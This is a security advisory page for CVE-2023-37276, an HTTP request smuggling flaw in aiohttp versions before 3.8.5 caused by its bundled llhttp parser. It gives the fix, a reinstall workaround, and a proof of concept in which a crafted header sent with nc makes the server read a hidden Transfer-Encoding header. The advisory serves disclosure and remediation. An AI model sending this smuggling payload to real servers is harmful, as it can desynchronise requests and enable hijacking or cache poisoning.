HTTP Request Smuggling Affecting aiohttp package, versions [,3.8.5)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.2% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-AIOHTTP-5798483
  • published21 Jul 2023
  • disclosed20 Jul 2023
  • creditUnknown

Introduced: 20 Jul 2023

CVE-2023-37276  (opens in a new tab)
CWE-444  (opens in a new tab)

How to fix?

Upgrade aiohttp to version 3.8.5 or higher.

Overview

Affected versions of this package are vulnerable to HTTP Request Smuggling in that aiohttp is bundled with llhttp v6.0.6, which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp for its HTTP request parser, when available, which is the default case when installing from a wheel.

Note

This vulnerability only affects users of aiohttp as an HTTP server (i.e. aiohttp.Application). Users are not affected by this vulnerability if they use aiohttp as an HTTP client library (i.e. aiohttp.ClientSession).

Workaround

Users who are unable to upgrade to the fixed version can reinstall the library using AIOHTTP_NO_EXTENSIONS=1 as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable to request smuggling:

$ python -m pip uninstall --yes aiohttp
$ AIOHTTP_NO_EXTENSIONS=1 python -m pip install --no-binary=aiohttp --no-cache aiohttp

PoC

from aiohttp import web

async def example(request: web.Request):
    headers = dict(request.headers)
    body = await request.content.read()
    return web.Response(text=f"headers: {headers} body: {body}")

app = web.Application()
app.add_routes([web.post('/', example)])
web.run_app(app)

Sending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.

$ printf "POST / HTTP/1.1\r\nHost: localhost:8080\r\nX-Abc: \rxTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\n0\r\n\r\n" \
  | nc localhost 8080

Expected output: headers: {'Host': 'localhost:8080', 'X-Abc': '\rxTransfer-Encoding: chunked'} body: b''

Actual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently) headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A'

CVSS Scores

version 3.1